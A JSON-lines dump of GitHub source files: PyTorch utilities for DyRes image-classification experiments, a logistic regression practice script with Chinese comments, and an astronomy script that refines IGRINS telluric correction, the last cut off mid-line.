network[3] ), mode='out')\n \n # AlexNet and Related Work\n\n elif network == 'alexnet':\n if dataset == 'cifar100':\n from cifar.alexnet import AlexNet\n elif dataset == 'tiny':\n from tiny.alexnet import AlexNet\n\n net = AlexNet()\n\n elif network.startswith('cc') and network.endswith('alexnet'):\n if dataset == 'cifar100':\n from cifar.cc_alexnet import CC_AlexNet\n elif dataset == 'tiny':\n from tiny.cc_alexnet import CC_AlexNet\n net = CC_AlexNet(num_experts=int( network[2] ))\n\n elif network.startswith('dyresA') and network.endswith('alexnet'):\n if dataset == 'cifar100':\n from cifar.dyresA_alexnet import DyResA_AlexNet\n elif dataset == 'tiny':\n from tiny.dyresA_alexnet import DyResA_AlexNet\n net = DyResA_AlexNet(num_experts=int( network[6] ))\n \n elif network.startswith('dyresB') and network.endswith('alexnet'):\n if dataset == 'cifar100':\n from cifar.dyresB_alexnet import DyResB_AlexNet\n elif dataset == 'tiny':\n from tiny.dyresB_alexnet import DyResB_AlexNet\n net = DyResB_AlexNet(num_experts=int( network[6] ))\n \n elif network.startswith('dyresS') and network.endswith('alexnet'):\n if dataset == 'cifar100':\n from cifar.dyresS_alexnet import DyResS_AlexNet\n elif dataset == 'tiny':\n from tiny.dyresS_alexnet import DyResS_AlexNet\n net = DyResS_AlexNet(num_experts=int( network[6] ))\n\n elif network.startswith('dy') and network.endswith('alexnet'):\n if dataset == 'cifar100':\n from cifar.dy_alexnet import Dy_AlexNet\n elif dataset == 'tiny':\n from tiny.dy_alexnet import Dy_AlexNet\n net = Dy_AlexNet(num_experts=int( network[2] ))\n \n elif network.startswith('ddsin') and network.endswith('alexnet'):\n if dataset == 'cifar100':\n from cifar.dds_alexnet import DDS_AlexNet\n elif dataset == 'tiny':\n from tiny.dds_alexnet import DDS_AlexNet\n net = DDS_AlexNet(num_experts=int( network[5] ), mode='in')\n\n elif network.startswith('dds') and network.endswith('alexnet'):\n if dataset == 'cifar100':\n from cifar.dds_alexnet import DDS_AlexNet\n elif dataset == 'tiny':\n from tiny.dds_alexnet import DDS_AlexNet\n net = DDS_AlexNet(num_experts=int( network[3] ), mode='out')\n\n #MobileNetV2 and Related Work \n\n elif network == 'mobilenetv2':\n if dataset == 'cifar100':\n from cifar.mobilenetv2 import MobileNetV2\n elif dataset == 'tiny':\n from tiny.mobilenetv2 import MobileNetV2\n\n net = MobileNetV2()\n\n elif network.startswith('cc') and network.endswith('mobilenetv2'):\n if dataset == 'cifar100':\n from cifar.cc_mobilenetv2 import CC_MobileNetV2\n elif dataset == 'tiny':\n from tiny.cc_mobilenetv2 import CC_MobileNetV2\n else:\n from imagenet.cc_mobilenetv2 import CC_MobileNetV2\n net = CC_MobileNetV2(num_experts=int( network[2] ))\n\n elif network.startswith('dyresA') and network.endswith('mobilenetv2'):\n if dataset == 'cifar100':\n from cifar.dyresA_mobilenetv2 import DyResA_MobileNetV2\n elif dataset == 'tiny':\n from tiny.dyresA_mobilenetv2 import DyResA_MobileNetV2\n net = DyResA_MobileNetV2(num_experts=int( network[6] ))\n\n elif network.startswith('dyresB') and network.endswith('mobilenetv2'):\n if dataset == 'cifar100':\n from cifar.dyresB_mobilenetv2 import DyResB_MobileNetV2\n elif dataset == 'tiny':\n from tiny.dyresB_mobilenetv2 import DyResB_MobileNetV2\n net = DyResB_MobileNetV2(num_experts=int( network[6] ))\n\n elif network.startswith('dyresS') and network.endswith('mobilenetv2'):\n if dataset == 'cifar100':\n from cifar.dyresS_mobilenetv2 import DyResS_MobileNetV2\n elif dataset == 'tiny':\n from tiny.dyresS_mobilenetv2 import DyResS_MobileNetV2\n net = DyResS_MobileNetV2(num_experts=int( network[6] ))\n\n elif network.startswith('dy') and network.endswith('mobilenetv2'):\n if dataset == 'cifar100':\n from cifar.dy_mobilenetv2 import Dy_MobileNetV2\n elif dataset == 'tiny':\n from tiny.dy_mobilenetv2 import Dy_MobileNetV2\n net = Dy_MobileNetV2(num_experts=int( network[2] ))\n\n elif network.startswith('ddsin') and network.endswith('mobilenetv2'):\n if dataset == 'cifar100':\n from cifar.dds_mobilenetv2 import DDS_MobileNetV2\n elif dataset == 'tiny':\n from tiny.dds_mobilenetv2 import DDS_MobileNetV2\n net = DDS_MobileNetV2(num_experts=int( network[5] ), mode='in')\n\n elif network.startswith('dds') and network.endswith('mobilenetv2'):\n if dataset == 'cifar100':\n from cifar.dds_mobilenetv2 import DDS_MobileNetV2\n elif dataset == 'tiny':\n from tiny.dds_mobilenetv2 import DDS_MobileNetV2\n net = DDS_MobileNetV2(num_experts=int( network[3] ), mode='out')\n \n else:\n print('the network is not supported')\n sys.exit()\n \n net = net.to(device)\n\n return net\n\ndef get_dataloader(dataset, batch_size):\n if dataset == 'cifar100':\n train_transform = transforms.Compose(\n [transforms.RandomCrop(size=32, padding=4),\n transforms.RandomHorizontalFlip(p=0.5),\n transforms.ToTensor(),\n transforms.Normalize(CIFAR100_MEAN, CIFAR100_STD)\n ])\n\n test_transform = transforms.Compose(\n [transforms.ToTensor(),\n transforms.Normalize(CIFAR100_MEAN, CIFAR100_STD)\n ])\n \n trainset = torchvision.datasets.CIFAR100(root=DATA_ROOT, train=True, transform=train_transform, download=True)\n testset = torchvision.datasets.CIFAR100(root=DATA_ROOT, train=False, transform=test_transform, download=True)\n\n elif dataset == 'tiny':\n train_transform = transforms.Compose(\n [transforms.RandomCrop(size=64, padding=4),\n transforms.RandomHorizontalFlip(p=0.5),\n transforms.ToTensor(),\n transforms.Normalize(TINY_IMAGENET_MEAN, TINY_IMAGENET_STD)\n ])\n\n test_transform = transforms.Compose(\n [transforms.ToTensor(),\n transforms.Normalize(TINY_IMAGENET_MEAN, TINY_IMAGENET_STD)\n ])\n\n trainset = torchvision.datasets.ImageFolder(root=os.path.join(TINY_IMAGENET_DATA_DIR, 'train'), transform=train_transform)\n testset = torchvision.datasets.ImageFolder(root=os.path.join(TINY_IMAGENET_DATA_DIR, 'validation'), transform=test_transform)\n\n elif dataset == 'imagenet':\n train_transform = transforms.Compose(\n [transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize(IMAGENET_MEAN, IMAGENET_STD)\n ])\n\n test_transform = transforms.Compose(\n [transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(IMAGENET_MEAN, IMAGENET_STD)\n ])\n \n trainset = torchvision.datasets.ImageNet(root=IMAGENET_DATA_DIR, split='train', transform=train_transform)\n testset = torchvision.datasets.ImageNet(root=IMAGENET_DATA_DIR, split='val', transform=test_transform)\n \n else:\n print('Dataset not supported yet...')\n sys.exit()\n\n trainloader = torch.utils.data.DataLoader(trainset, batch_size=batch_size, shuffle=True, num_workers=4, pin_memory=True)\n testloader = torch.utils.data.DataLoader(testset, batch_size=batch_size, shuffle=False, num_workers=4, pin_memory=True)\n\n return trainloader, testloader\n\ndef save_plot(train_losses, train_accuracy, val_losses, val_accuracy, args, time_stamp):\n x = np.array([x for x in range(1, args.epoch + 1)])\n y1 = np.array(train_losses)\n y2 = np.array(val_losses)\n\n y3 = np.array(train_accuracy)\n y4 = np.array(val_accuracy)\n\n fig, (ax1, ax2) = plt.subplots(nrows=2, ncols=1)\n\n ax1.plot(x, y1, label='train loss')\n ax1.plot(x, y2, label='val loss')\n ax1.legend()\n ax1.xaxis.set_visible(False)\n ax1.set_ylabel('losses')\n\n ax2.plot(x, y3, label='train acc')\n ax2.plot(x, y4, label='val acc')\n ax2.legend()\n ax2.set_xlabel('batches')\n ax2.set_ylabel('acc')\n\n plt.savefig('plots/{}-losses-{}-b{}-e{}-{}.png'.format(args.network, args.dataset, args.batch, args.epoch, time_stamp))","repo_name":"Nyquixt/DyRes","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13859,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"33910111045","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Oct 18 10:28:06 2016\r\n\r\n@author: cai\r\n实现逻辑回归算法\r\n\"\"\"\r\n\r\nimport os\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pylab as plt\r\nimport scipy.optimize as opt\r\n\r\n# 定义Sigmoid函数\r\ndef sigmoid(z):\r\n return 1 / (1 + np.exp(-z))\r\n\r\n# 定义 cost函数\r\ndef cost(theta, X, y):\r\n theta = np.matrix(theta)\r\n X = np.matrix(X)\r\n y = np.matrix(y)\r\n h = X * theta.T\r\n first = np.multiply(-y, np.log(sigmoid(h)))\r\n second = np.multiply(1-y, np.log(1 - sigmoid(h)))\r\n return np.sum(first - second) / (len(X))\r\n\r\n# 梯度下降算法的实现, 输出梯度对权值的偏导数\r\ndef gradient(theta, X, y):\r\n theta = np.matrix(theta)\r\n X = np.matrix(X)\r\n y = np.matrix(y)\r\n\r\n parameters = int(theta.ravel().shape[1])\r\n grad = np.zeros(parameters)\r\n\r\n error = sigmoid(X * theta.T) - y\r\n\r\n for i in range(parameters):\r\n term = np.multiply(error, X[:, i])\r\n grad[i] = np.sum(term) / len(X)\r\n\r\n return grad\r\n\r\n# 预测结果\r\ndef predict(theta, X):\r\n probability = sigmoid(X * theta.T)\r\n return [1 if x >= 0.5 else 0 for x in probability]\r\n\r\n\r\ndataPath = os.path.join('E:\\\\ipython-notebooks\\\\data', 'ex2data1.txt')\r\ndata = pd.read_csv(dataPath,header=None,names=['Exam 1', 'Exam 2', 'Admitted'])\r\n# 查看数据集\r\n# print(data.head())\r\n# print(data.describe())\r\n\r\n# 分成正负两个数据集\r\npositive = data[data['Admitted'].isin([1])]\r\nnegative = data[data['Admitted'].isin([0])]\r\n# 可视化数据集\r\n# fig, ax = plt.subplots(figsize=(12, 8))\r\n# ax.scatter(positive['Exam 1'], positive['Exam 2'], s=50, c='b', marker='o', label='Admitted')\r\n# ax.scatter(negative['Exam 1'], negative['Exam 2'], s=50, c='r', marker='x', label='No Admitted')\r\n# ax.legend()\r\n# ax.set_xlabel('Exam 1 Score')\r\n# ax.set_ylabel('Exam 2 Score')\r\n# plt.show()\r\n\r\n# 可视化 sigmoid函数\r\n# nums = np.arange(-10, 10, step=1)\r\n# fig, ax = plt.subplots(figsize=(12, 8))\r\n# ax.plot(nums, sigmoid(nums), 'r')\r\n# plt.show()\r\n\r\ndata.insert(0, 'Ones', 1)\r\ncols = data.shape[1]\r\nX = data.iloc[:, 0:cols-1]\r\ny = data.iloc[:, cols-1:cols]\r\n\r\n# 从数据帧转换成numpy的矩阵格式\r\nX = np.matrix(X.values)\r\ny = np.matrix(y.values)\r\ntheta = np.zeros((1, cols-1))\r\nprint(X.shape, theta.shape, y.shape)\r\n\r\ncosts = cost(theta, X, y)\r\nprint('cost = ', costs)\r\n\r\n# 使用scipy库中的优化函数,得到训练好的权值\r\nresult = opt.fmin_tnc(func=cost, x0=theta, fprime=gradient, args=(X, y))\r\n# print(cost(result[0], X, y))\r\n\r\n# 预测结果,统计分类准确率\r\ntheta_min = np.matrix(result[0])\r\npredictions = predict(theta_min, X)\r\ncorrect = [1 if ((a == 1 and b == 1) or (a == 0 and b == 0)) else 0 for (a, b) in zip(predictions, y)]\r\naccuracy = (sum(map(int, correct)) % len(correct))\r\nprint('accuracy = {0}%'.format(accuracy))\r\n\r\n\r\n\r\n","repo_name":"ccc013/Study-Notes","sub_path":"MachineLearning/codes/MachineLearningPractise/LogisticRegressionPractise.py","file_name":"LogisticRegressionPractise.py","file_ext":"py","file_size_in_byte":2847,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"29"} +{"seq_id":"10119546699","text":"import astropy.io.fits as pyfits\nimport matplotlib.pyplot as plt\nimport scipy\nimport sys\nimport numpy as np\nfrom matplotlib.pyplot import cm\nfrom scipy.optimize import curve_fit\nimport astropy.units as u\nfrom astropy.io import fits\nimport astropy.constants as c\n\nimport warnings\nfrom scipy.optimize import OptimizeWarning\n\nwarnings.simplefilter(\"error\", OptimizeWarning)\n\n\"\"\"\nThis program rtell.py is to take some of the IGRINS plp products\nto refine the telluric correction. It will divide a science spectra by a standard spectra,\nin the same fashion as the plp, with the following intended differences:\n- don't need to run from the pipeline (just a quick program)\n- will find the pixel center of a given sky line and then shift the standard spectra in pixel space\nbefore dividing the target by this (thus possible to use standards from different nights).\n\nauthor:\n\tKim Sokal 2017\n\tAdapted for RRISA by Erica Sawczynec 2022\n\ninput:\n\tconfig file with the target and standard spectra names (which are from the plp)\n\tit has the following entries:\n\t\tspecfile_target [example: ='SDCK_20150127_0152.spec.fits']\n\t\tspecfile_standard\t[example: ='SDCK_20150127_0156.spec.fits']\n\t\tobsdir\t[example: ='/Users/observations/IG_plp_reduced_data/outdata/']\n\t\t\t\t* note that the program expects plp format. It will pull out the date itself\n\t\t\t\t (as plp data are stored as /outdata/20150127/)\n\t\t\t\t you only need the directory above that level (i.e. outdata/)\n\t\tfilename_out\t[this will be added before .fits in the target filename. example: ='.spec_a0v.']\n\t\tband ['H' or 'K'. example: = 'K']\n\noutput:\n\ttelluric corrected target spectra\n\t\tspecfile_target+filename_out.fits\n\nhow to run:\n\tpython refine_igrins_telluric_corr.py refine_igrins_telluric_corr.cfg\n\n\t* while it runs you will see 3 plots pop up. The first two are showing the fit to\n\tthe sky lines - if the vertical line doesn't match the center then something is wrong.\n\tThe last is to check the final output.\n\n\"\"\"\ndef new_spec(row, band):\n\tdef read_config(configfile):\n\t\tcfg=dict()\n\t\tf=open(configfile)\n\t\tfor row in f:\n\t\t\tif not row.strip() or row.lstrip().startswith('#'):\n\t\t\t\tcontinue\n\t\t\toption, value = [r.strip() for r in row.split('=')]\n\t\t\tcfg[option]=value\n\n\t\treturn cfg\n\n\tdef align_by_f_interp(shiftvalue,flux_shifted,uncs_shifted,wvsol):\n\t\t#this is where we apply the pixel shift\n\n\t\tlength=len(flux_shifted)\n\t\tpixs=np.arange(length)\n\t\tshifted_pixs=pixs+shiftvalue\n\n\t\t#so by doing it this way, i am assuming the real \"value\" of the pixels here is the\n\t\t#shifted value\n\t\tflux_fixed=np.interp(shifted_pixs, pixs,flux_shifted)\n\t\tuncs_fixed=np.interp(shifted_pixs, pixs,uncs_shifted)\n\n\t\treturn [flux_fixed,uncs_fixed,wvsol]\n\n\tdef gaussian(x,amp,cen,wid):\n\t\t#just defining the gaussian to fit the sky line\n\t\treturn amp*np.exp(-(x-cen)**2/wid)\n\n\tdef find_line_center(pixelsin, normed, wls, cutoffs, name, i):\n\t\t#this is where we fit a gaussian to a sky line and find the center in pixel space\n\t\tblueend_pix,redend_pix=cutoffs\n\n\t\t#using just the specified region of the spectra\n\t\tblueend=np.where(pixelsin > blueend_pix)\n\t\tfluxes_out=normed[blueend]\n\t\tpixels=pixelsin[blueend]\n\t\twls=wls[blueend]\n\n\t\tredend=np.where(pixels < redend_pix)\n\t\tfluxes_out=fluxes_out[redend]\n\t\tpixels=pixels[redend]\n\t\twls=wls[redend]\n\n\t\t#trying to make it look like a normal gaussian.\n\t\t#meaning positive, as the sky lines are in absorption\n\t\tfluxes_out=np.array(fluxes_out)\n\t\tflipped=1./fluxes_out\n\t\tf=flipped-np.nanmedian(flipped)\n\n\n\t\t#now fit it with a gaussian to find the center!\n\t\tn=len(f)\n\t\tnewpix=np.arange(n)\n\n\t\tinit_vals=[np.nanmax(f), np.mean(pixels), np.mean(pixels)/100]\n\t\ttry:\n\t\t\tbest_vals, covar = curve_fit(gaussian, pixels, f, p0=init_vals)\n\t\texcept RuntimeError:\n\t\t\tprint('curve_fit failure, aborting.\\n')\n\t\t\tcenter = np.nan\n\t\t\treturn center\n\t\tcenter = best_vals[1]\n\n\t\t#plot to ensure that you are actually measuring the line center\n\t\tplotnow='yes'\n\t\tif plotnow == 'yes':\n\t\t\tfig, axes = plt.subplots(1, 2, figsize = (14, 5), facecolor = 'white')\n\t\t\taxes[0].plot(pixels, f, color=\"green\")\n\t\t\taxes[0].plot(np.mean(pixels), np.nanmax(f), marker = 'o', color=\"blue\")\n\t\t\taxes[0].plot(pixels, gaussian(pixels, *init_vals), ls = '--', c = 'r')\n\t\t\taxes[0].set_xlim(cutoffs[0]-50, cutoffs[1]+50)\n\n\t\t\taxes[1].plot(pixels, f, color=\"green\")\n\t\t\taxes[1].plot(center, np.nanmax(f), marker = 'o', color=\"blue\", label = f'{center}', ls = '')\n\t\t\taxes[1].plot(pixels, gaussian(pixels, *best_vals), color=\"magenta\")\n\t\t\taxes[1].axvline(x = cutoffs[0], ls = '--', c = 'k')\n\t\t\taxes[1].axvline(x = cutoffs[1], ls = '--', c = 'k')\n\t\t\taxes[1].set_xlim(cutoffs[0]-50, cutoffs[1]+50)\n\t\t\taxes[1].legend()\n\n\t\t\tif i == 0:\n\t\t\t\taxes[0].set_title('Initial Gaussian Center: Target')\n\t\t\t\taxes[1].set_title('Curvefit Gaussian Center: Target')\n\t\t\telse:\n\t\t\t\taxes[0].set_title('Initial Gaussian Center: Standard')\n\t\t\t\taxes[1].set_title('Curvefit Gaussian Center: Standard')\n\n\t\t\tplt.savefig(name)\n\t\t\tplt.close()\n\n\t\treturn center\n\n\n\tdef fix_num_orders(wls, fluxes,sns):\n\t\tkeep = 26#53248 # 26 orders times 2048 pixels per order\n\t\tdiff=keep-len(wls)\n\t\tif diff >0:\n\t\t\t#add in nans for any missing data. it is probably for the early part!\n\t\t\tstartwave=np.nanmin(wls)\n\t\t\tif startwave < 1000:\n\t\t\t\tstartwave=startwave*1.e4\n\t\t\tif startwave > 18600:\n\t\t\t\t#one order\n\t\t\t\tadd=np.array([0.]*2048)\n\t\t\t\twls=np.insert(wls,-1,add, axis=0)\n\t\t\t\tfluxes=np.insert(fluxes,-1,add, axis=0)\n\t\t\t\tsns=np.insert(sns,-1,add, axis=0)\n\t\t\t\tif startwave > 18800:\n\t\t\t\t\t#two orders\n\t\t\t\t\twls=np.insert(wls,-1,add, axis=0)\n\t\t\t\t\tfluxes=np.insert(fluxes,-1,add, axis=0)\n\t\t\t\t\tsns=np.insert(sns,-1,add, axis=0)\n\t\t\t\t\tif startwave > 19000:\n\t\t\t\t\t\t#three orders\n\t\t\t\t\t\twls=np.insert(wls,-1,add, axis=0)\n\t\t\t\t\t\tnormed=np.insert(normed,-1,add, axis=0)\n\t\t\t\t\t\tsns=np.insert(sns,-1,add, axis=0)\n\t\t\tif len(wls) != keep:\n\t\t\t\tdiff=keep-len(wls)\n\t\t\t\tadd=np.array([0.]*diff)\n\t\t\t\twls=np.insert(wls,-1,add, axis=0)\n\t\t\t\tfluxes=np.insert(fluxes,-1,add, axis=0)\n\t\t\t\tsns=np.insert(sns,-1,add, axis=0)\n\n\t\treturn [wls,fluxes,sns]\n\n\t\"\"\"\n\tThis is the body of the code.\n\t\"\"\"\n\n\tobsdir='/Volumes/ExIGRINS5/igplp/outdata/'\n\n\tcivil = row['CIVIL']\n\n\tif band == 'K':\n\t\tfilename = row['FILENAME'].split('.')[0].replace('H', 'K')\n\telse:\n\t\tfilename = row['FILENAME'].split('.')[0]\n\n\tfile_target=f'{filename}'\n\tobsdir_out=f'{obsdir}{civil}/'\n\tbase_filename_out=f'rtell_{band}'\n\n\ttry:\n\t\thdul = fits.open(f'{obsdir_out}{file_target}.spec_a0v.fits')\n\t\tstandard_filename = hdul[0].header['HIERARCH IGR_A0V_BASENAME']\n\texcept FileNotFoundError:\n\t\tprint(f\"No file {obsdir_out}{file_target}.spec_a0v.fits\\n\")\n\t\tfilename_out_txt = obsdir_out+file_target.split(\".fits\")[0]+\".\"+base_filename_out+\".spec_a0v.txt\"\n\t\tf = open(filename_out_txt, 'w')\n\t\tf.write(f'Missing {file_target}, correction aborted.')\n\t\tf.close()\n\t\treturn\n\n\tfile_standard=f'{standard_filename}'\n\n\tif np.char.isnumeric(str(row['BVC'])):\n\t\tbary_correct='True'\n\t\tbvc= float(row['BVC'])\n\telse:\n\t\tbary_correct = 'False'\n\n\trecipe_info ='yes'\n\trecipedir='/Volumes/ExIGRINS5/igplp/recipe_logs/'\n\n\t#step 1.a: read in the observed data\n\n\ttargetfile=file_target.split(\".fits\")\n\tfind_obsdate_target=targetfile[0].split(\"_\")\n\tobsdate_target=find_obsdate_target[1]\n\tfilenumber_target=find_obsdate_target[2]\n\n\tspecfile_target=targetfile[0]+\".spec.fits\"\n\tsnrfile_target=targetfile[0]+\".sn.fits\"\n\tvegafile=targetfile[0]+\".spec_a0v.fits\"\n\n\tspecpath_target=obsdir+obsdate_target+'/'+specfile_target\n\tsnrpath_target=obsdir+obsdate_target+'/'+snrfile_target\n\tvegapath_target=obsdir+obsdate_target+'/'+vegafile\n\n\ttry:\n\t\tspec_target = pyfits.getdata(specpath_target)\n\t\twlsol_target = pyfits.getdata(specpath_target,1)\n\texcept FileNotFoundError:\n\t\tprint(f'Missing target {specpath_target} file.\\n')\n\t\tfilename_out = obsdir_out+file_target.split(\".fits\")[0]+\".\"+base_filename_out+\".spec_a0v.txt\"\n\t\tf = open(filename_out_txt, 'w')\n\t\tf.write(f'Missing target file {specpath_target}, correction aborted.')\n\t\tf.close()\n\t\treturn\n\n\ttry:\n\t\tsnr_target = pyfits.getdata(snrpath_target)\n\texcept FileNotFoundError:\n\t\tprint(f'Missing target {snrpath_target} file.\\n')\n\t\tfilename_out = obsdir_out+file_target.split(\".fits\")[0]+\".\"+base_filename_out+\".spec_a0v.txt\"\n\t\tf = open(filename_out_txt, 'w')\n\t\tf.write(f'Missing target SNR file {snrpath_target}, correction aborted.')\n\t\tf.close()\n\t\treturn\n\n\tvega = pyfits.getdata(vegapath_target,4)\n\n\tfilename_out=obsdir_out+targetfile[0]+\".\"+base_filename_out+\".spec_a0v.fits\" #spectra\n\tfilename_out_txt=obsdir_out+targetfile[0]+\".\"+base_filename_out+\".spec_a0v.txt\" #text file out on info\n\tf=open(filename_out_txt, 'w')\n\tf.write('Performing a telluric correction \\n')\n\tprint(specfile_target)\n\n\tdataheader_target = pyfits.getheader(specpath_target)\n\n\t#step 1.b: learn about the observed data\n\tobject_target=dataheader_target['OBJECT',0]\n\tdate_target=dataheader_target['UTDATE',0]\n\tamstart=dataheader_target['AMSTART',0]\n\tamend=dataheader_target['AMEND',0]\n\ttry:\n\t\tam_target=0.5*(float(amstart)+float(amend))\n\texcept TypeError:\n\t\tam_target = False\n\tf.write('*** Target ***'+'\\n')\n\tf.write('SPEC FILE: '+ specfile_target+'\\n')\n\tf.write('OBJECT: '+ object_target+'\\n')\n\tf.write('DATE: '+ date_target+'\\n')\n\tf.write('am dets:'+ str(amstart)+'\\t'+str(amend)+'\\n')\n\tif am_target:\n\t\tf.write('average am: '+ str(am_target)+'\\n')\n\telse:\n\t\tf.write('average am: airmass error')\n\n\ttel=dataheader_target.get('TELESCOP')\n\texptime=dataheader_target.get('EXPTIME')\n\tacqtime=dataheader_target.get('ACQTIME') #get local date\n\tobs=dataheader_target.get('OBSERVER')\n\n\n\tf.write('**********************'+'\\n')\n\tf.write('Target observing info from header:'+'\\n')\n\tf.write('Object \\t UT Date \\t Telescope \\t Exp Time \\t Airmass \\t Observers'+'\\n')\n\tif am_target:\n\t\tf.write(str(object_target)+'\\t'+str(date_target)+'\\t'+str(tel)+'\\t'+str(exptime)+'\\t'+str(am_target)+'\\t'+str(obs)+'\\n')\n\telse:\n\t\tf.write(str(object_target)+'\\t'+str(date_target)+'\\t'+str(tel)+'\\t'+str(exptime)+'\\t'+str(obs)+'\\n')\n\n\tif recipe_info =='yes':\n\t\t#step 1.c. how many frames are in there?\n\t\trecipelog=recipedir+obsdate_target+'.recipes'\n\t\t#each line will be 'observed name', 'target type', group1 = file # for some, group 2, exptime, recipe, obsids, frametypes\n\t\tfilenumber_target=int(filenumber_target)\n\t\tf_recipe=open(recipelog, 'r')\n\n\t\tfor line in f_recipe.readlines():\n\t\t\t#ignore comment lines in recipe files\n\t\t\tif line[0] != '#':\n\t\t\t\tsplit=line.split(\",\")\n\t\t\t\ttest_sky=split[5]\n\t\t\t\ttest_sky=test_sky.strip(\" \")\n\t\t\t\tif test_sky != 'SKY':\n\t\t\t\t\tfind_file=split[6].split()\n\t\t\t\t\tif find_file[0] == str(filenumber_target):\n\t\t\t\t\t\tf.write('recipe file: \\n')\n\t\t\t\t\t\tf.write(line+'\\n')\n\n\n\t#step 1.d. make sure the order numbers are the same\n\ta,vega,b=fix_num_orders(wlsol_target,vega,snr_target)\n\twlsol_target,spec_target,snr_target=fix_num_orders(wlsol_target,spec_target,snr_target)\n\n\n\t#step 2.a: read in the standard data\n\n\tstandardfile=file_standard.split(\".fits\")\n\tfind_obsdate_standard=standardfile[0].split(\"_\")\n\tobsdate_standard=find_obsdate_standard[1]\n\n\tspecfile_standard=standardfile[0]+\".spec.fits\"\n\tsnrfile_standard=standardfile[0]+\".sn.fits\"\n\n\tspecpath_standard=obsdir+obsdate_standard+'/'+specfile_standard\n\tsnrpath_standard=obsdir+obsdate_standard+'/'+snrfile_standard\n\n\ttry:\n\t\tspec_standard = pyfits.getdata(specpath_standard)\n\t\twlsol_standard = pyfits.getdata(specpath_standard,1)\n\texcept FileNotFoundError:\n\t\tprint(f'Missing A0V {specpath_standard} file.\\n')\n\t\tf.write(f'Missing standard file {specpath_standard}, correction aborted.')\n\t\tf.close()\n\t\treturn\n\n\ttry:\n\t\tsnr_standard = pyfits.getdata(snrpath_standard)\n\texcept FileNotFoundError:\n\t\tprint(f'Missing A0V {snrpath_standard} file.\\n')\n\t\tf.write(f'Missing standard SNR file {snrpath_standard}, correction aborted.')\n\t\tf.close()\n\t\treturn\n\n\tdataheader_standard = pyfits.getheader(specpath_standard)\n\n\t#step 2.b: learn about the standard data\n\tobject_standard=dataheader_standard['OBJECT',0]\n\tdate_standard=dataheader_standard['UTDATE',0]\n\tamstart=dataheader_standard['AMSTART',0]\n\tamend=dataheader_standard['AMEND',0]\n\ttry:\n\t\tam_standard=0.5*(float(amstart)+float(amend))\n\texcept TypeError:\n\t\tam_standard = False\n\n\tf.write('*** standard ***'+'\\n')\n\tf.write('SPEC FILE: '+ specfile_standard+'\\n')\n\tf.write('OBJECT: '+ object_standard+'\\n')\n\tf.write('DATE: '+ date_standard+'\\n')\n\tif am_standard:\n\t\tf.write('average am: '+ str(am_standard)+'\\n')\n\telse:\n\t\tf.write('average am: airmass error')\n\tf.write('start am: '+str(amstart)+'\\n')\n\tf.write('end am: '+str(amend)+'\\n')\n\n\t#step 2.d: correct for # of orders\n\twlsol_standard,spec_standard,snr_standard=fix_num_orders(wlsol_standard,spec_standard,snr_standard)\n\n\t#step 3: need to find any pixel shift between the target and standard spectra, by measuring a sky line.\n\t#(there is a pixel shift in general, esp. when we move between telescopes). Order of < or a couple of pixels.\n\t#unfortunately that means that I have to go through the entire spectra\n\n\tsave_centers=[]\n\tnum=0\n\tfor spec,wlsol,snr in zip([spec_target,spec_standard],[wlsol_target,wlsol_standard],[snr_target,snr_standard]):\n\n\t\tfluxes=[]\n\t\twls=[]\n\t\tsns=[]\n\t\tfor wl, I, sn in zip(wlsol, spec,snr):\n\n\t\t\t#convert units\n\t\t\twl=wl*1.e4 #from 1.4 to 1.4e4 as expected (um to Ang i think)\n\n\t\t\t#combine all the data\n\t\t\twls.extend(wl)\n\t\t\tfluxes.extend(I)\n\t\t\tsns.extend(sn)\n\n\t\t#lets sort these by wavelength, since the orders are random and have overlap\n\t\tsorts=np.argsort(wls)\n\t\twls=np.array(wls)\n\t\tfluxes=np.array(fluxes)\n\t\tsns=np.array(sns)\n\t\twls=wls[sorts]\n\t\tfluxes=fluxes[sorts]\n\t\tsns=sns[sorts]\n\n\t\t#lets make sure our 2 spectra are the same length - the pipeline currently produced different\n\t\t#numbers of orders depending on the flat fields. so we need to fix this.\n\n\t\tpix=np.arange(len(fluxes))\n\t\t#first one first\n\t\tif num==0:\n\t\t\tkeep=len(fluxes)\n\n\t\t\t#find the cut offs for the line we will be using\n\t\t\t#choosing some region of the spectra\n\t\t\tif band == 'K':\n\t\t\t\tregion=[21740,21752] #if it has problems, try editing a bit. also [22145,22165]?\n\t\t\t\t#this is just a line that i found that works well. you can play with it, and just run again!\n\t\t\telif band == 'H':\n\t\t\t\tregion=[16452,16458] #if it has problems, try [16452,16458]?16429,16431]\n\t\t\tblueend=np.where(wls > region[0])\n\t\t\tfindblue=pix[blueend]\n\t\t\tblueend_pix=np.min(findblue)\n\n\t\t\tredend=np.where(wls < region[1])\n\t\t\tfindred=pix[redend]\n\t\t\tredend_pix=np.max(findred)\n\n\t\t#ok lets find the shift!\n\t\ttry:\n\t\t\tif num == 0:\n\t\t\t\tfigure_name = obsdir_out+targetfile[0]+'.'+base_filename_out+'.center_align_target.png'\n\t\t\telse:\n\t\t\t\tfigure_name = obsdir_out+targetfile[0]+'.'+base_filename_out+'.center_align_standard.png'\n\n\t\t\tfoundcenter=find_line_center(pix, fluxes, wls,[blueend_pix,redend_pix], figure_name, num)\n\t\texcept OptimizeWarning:\n\t\t\tprint('Poor telluric line fit, aborting.\\n')\n\t\t\tf.write('Poor telluric line fit, use original spec_a0v file or refine reduction.\\n')\n\t\t\tf.close()\n\t\t\treturn\n\n\t\tif np.isnan(foundcenter):\n\t\t\tf.write('Poor telluric line fit, use original spec_a0v file or refine reduction.\\n')\n\t\t\tf.close()\n\t\t\treturn\n\t\tsave_centers.append(foundcenter)\n\n\t\t#yep, all that work to find the center of that line\n\t\tnum=+1\n\n\tshift = save_centers[1]-save_centers[0]\n\n\tf.write('*** shift ***'+'\\n')\n\tf.write('The target and standard are shifted by {0} pixels'.format(shift)+'\\n')\n\tprint(f'{object_target}, {date_target}, {object_standard}, {shift:.2f} pix')\n\tif abs(shift) > 1.0:\n\t\tshift = 0.0\n\t\tprint('Shift Rejected since > 1 